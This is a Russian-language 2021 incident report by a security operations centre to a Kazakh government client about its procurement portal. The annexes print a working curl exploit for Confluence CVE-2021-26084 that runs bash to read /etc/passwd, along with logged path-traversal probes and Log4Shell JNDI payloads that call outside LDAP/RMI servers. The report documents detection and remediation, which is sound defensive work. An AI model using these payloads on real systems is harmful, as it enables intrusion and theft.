УТВЕРЖДАЮ
Заместитель Председателя Правления по производству
АО «Центр электронных финансов»

_____ Н. Рахметов
«__» декабря 2021 г.

УТВЕРЖДАЮ
Директор
ТОО «WebTotem»

_____ О. Сатиев
«24» декабря 2021 г.

ОТЧЕТ ЗА 2021 ГОД
по оказанию услуги по защите электронных информационных ресурсов
согласно договору от «29» июля 2021 года №161

СОГЛАСОВАНО
Директор департамента информационной, собственной безопасности и тестирования
АО «Центр электронных финансов»

_____ Е. Медеуов
«24» декабря 2021 г.

СОГЛАСОВАНО
Руководитель Оперативного центра информационной безопасности

_____ А. Жанадилов
«24» декабря 2021 г.

г. Нур-Султан

В период оказания услуги по защите электронных информационных ресурсов в рамках исполнения договора №161 от 29.07.2021 г. между Заказчиком АО «Центр электронных финансов» и Поставщиком ТОО «WebTotem», специалистами ОЦИБ Поставщика были зафиксированы критически подозрительные инциденты (*см. Таблица 1*) и разработаны соответствующие рекомендации по их устранению. Вместе с тем, было обработано множество безуспешных и ложно-положительных (false positive) подозрительных событий, количество которых на момент составления отчёта было 605.

N п/п	Отчетный период	Описание зафиксированного инцидента
1	III квартал	Обнаружение уязвимого узла в инфраструктуре Заказчика wiki.goszakup.gov.kz
2	IV квартал	Обнаружение несогласованного сканирования ресурса goszakup.gov.kz
3	IV квартал	Обнаружение сканирования на уязвимость CVE-2021-44228

Таблица 1. Описание зафиксированных критических инцидентов за соответствующий период.

В рамках оказания услуг специалистами ОЦИБ были проведены работы по первоначальному подключению инфраструктуры проекта goszakup.gov.kz к ОЦИБ:

- ознакомление и анализ инфраструктуры проекта;

- разработка и реализация схемы подключения инфраструктуры проекта к ОЦИБ;
- разворачивание и настройка дополнительных коллекторов событий;
- проработка и реализация схемы сбора и систематизации получаемых событий (парсинг) всех узлов инфраструктуры проекта;
- настройка внутренних компонентов ОЦИБ под текущий проект;
- ведение внутренней документации по проекту;
- составление базовых правил корреляции.

Вместе с тем, в дальнейшем и по настоящий момент в рамках оказания услуги, специалистами ОЦИБ на постоянной основе проводится анализ популярных уязвимостей, мониторинг и изучение новых векторов атак (и уязвимостей) и на их основе разрабатываются правила корреляции. К тому же, ведётся активное взаимодействие со стороной Заказчика для улучшения предоставляемой услуги.

Приложение №1. Справка: Обнаружение уязвимого узла в инфраструктуре Заказчика wiki.goszakup.gov.kz.

Приложение №2. Справка: Обнаружение несогласованного сканирования ресурса goszakup.gov.kz.

Приложение №3. Справка: Обнаружение сканирования на уязвимость CVE-2021-44228.

Приложение №1
к отчету по оказанию услуги по защите
электронных информационных ресурсов

Обнаружение уязвимого узла в инфраструктуре Заказчика wiki.goszakup.gov.kz

Хост:	wiki.goszakup.gov.kz
Отчетный период:	III квартал
Тип угрозы:	Remote Code Execution (RCE)
Критичность угрозы:	Очень высокая
Описание:	На сайте была найдена уязвимость внедрения OGNL, которая позволяет не аутентифицированному злоумышленнику выполнить произвольный код на сервере Confluence или экземпляре центра обработки данных. Идентификатор CVE: CVE-2021-26084 (https://jira.atlassian.com/browse/CONFSERVER-67940).
Рекомендации:	Обновить данную версию Confluence и проверить на наличие зловредных файлов.

Пример эксплуатации:

```
curl -i -s -k -X $'POST' \    -H $'Host: wiki.goszakup.gov.kz' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/91.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Origin: https://wiki.goszakup.gov.kz' -H $'Connection: close' -H $'Referer: https://wiki.goszakup.gov.kz/confluence/pages/doenterpagevariables.action' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 388' \
   -b $'JSESSIONID=XXXX' \
   --data-binary $'queryString=\\u0027%2b%23{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var cmd%3dnew java.lang.ProcessBuilder%3bcmd.command(\\u0027/bin/bash\\u0027,\\u0027-c\\u0027,\\u0027cat /etc/passwd\\u0027)%3bcmd.start()%3borg.apache.commons.io.IOUtils.toString(cmd.start().getInputStream())\\u0022)}%2b\\u0027' \
   $'https://wiki.goszakup.gov.kz/pages/doenterpagevariables.action'
```

Приложение №2
к отчету по оказанию услуги по защите
электронных информационных ресурсов

Обнаружение несогласованного сканирования ресурса goszakup.gov.kz

Хост:	goszakup.gov.kz
Отчетный период:	IV квартал
Тип угрозы:	Разведка инфраструктуры
Критичность угрозы:	Средняя
Описание:	Атаки методом грубой силы часто используются для атаки на аутентификацию и обнаружения скрытого контента / страниц в веб-приложении. Данные атаки обычно отправляются на сервер через запросы GET и POST. На сайте была очень высокая активность сканировании директории, для атаки применяется в основном популярные словари для атак (например: RockYou и др.).
Рекомендации:	Блокировка обнаруженных IP адресов и проверка прав каталогов/файлов на их просмотр.

Пример логов:

"GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../etc/passwd HTTP/1.1" 404 1187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" host=goszakup.gov.kz
"GET /index.phpoption=com_janews&controller=../../../../../../../../../../etc/passwd%00" 200 0 5505024 34.822 57.43 57.43 0.00 /index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00
"GET /index.phpoption=com_janews&controller=../../../../../../../../../../Mysqli" 200 0 5505024 34.822 57.43 57.43 0.00 /index.php?option=com_janews&controller=../../../../../../../../../../Mysqli
"GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=.htaccess HTTP/1.1" 404 1187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" host=goszakup.gov.kz
GET /index.phpoption=com_archeryscores&controller=../.htaccess" 404 0 5767168 33.010 90.88 90.88 0.00 /index.php?option=com_archeryscores&controller=../.htaccess

Приложение №3
к отчету по оказанию услуги по защите
электронных информационных ресурсов

Обнаружение сканирования на уязвимость CVE-2021-44228

Хост:	goszakup.gov.kz
Отчетный период:	IV квартал
Тип угрозы:	Разведка инфраструктуры
Критичность угрозы:	Очень высокая
Описание:	На ресурсах заказчика зафиксированы попытки эксплуатации уязвимости библиотеки log4j из внешних адресов из сети Интернет. Данная уязвимость под номером CVE-2021-44228 получила самый высокий уровень критичности (уровень критичности CVSS 10 из 10).
Рекомендации:	Блокировка обнаруженных IP адресов и проверка соединении с серверов на данные IP адреса.

Пример логов:

45.83.65.133 - [19/Dec/2021:15:54:26 +0600] "GET / HTTP/1.1" 200 37 "${jndi:ldap:// 36.81.32.136:1389/#Binary}" "${jndi:ldap:// 36.81.32.136:1389/#Binary}" host=goszakup.gov.kz pro=https serial=- qqq=0
34.78.0.18- [19/Dec/2021:16:33:58 +0600] "GET /index.phpq=%24%7Bjndi%3Aldap%3A%2F%2F51.79.74.227%3A1389%2F%23Binary%7D" 200 0 524288 1.022 0.00 0.00 0.00 /?q=%24%7Bjndi%3Aldap%3A%2F%2F51.79.74.227%3A1389%2F%23Binary%7D
139.59.182.104 - [20/Dec/2021:14:15:34 +0600] "GET / HTTP/1.1" 200 37 "${${lower:${lower:jndi}}:${lower:rmi}://188.166.57.35:1389/Binary}" "${${lower:${lower:jndi}}:${lower:rmi}://188.166.57.35:1389/Binary}" host=goszakup.gov.kz pro=https serial=- qqq=0 200
139.59.182.104 - [20/Dec/2021:05:16:19 +0600] "GET / HTTP/1.1" 200 37 "${${lower:${lower:jndi}}:${lower:rmi}://188.166.57.35:1389/Binary}" "${${lower:${lower:jndi}}:${lower:rmi}://188.166.57.35:1389/Binary}" host=goszakup.gov.kz pro=https serial=- qqq=0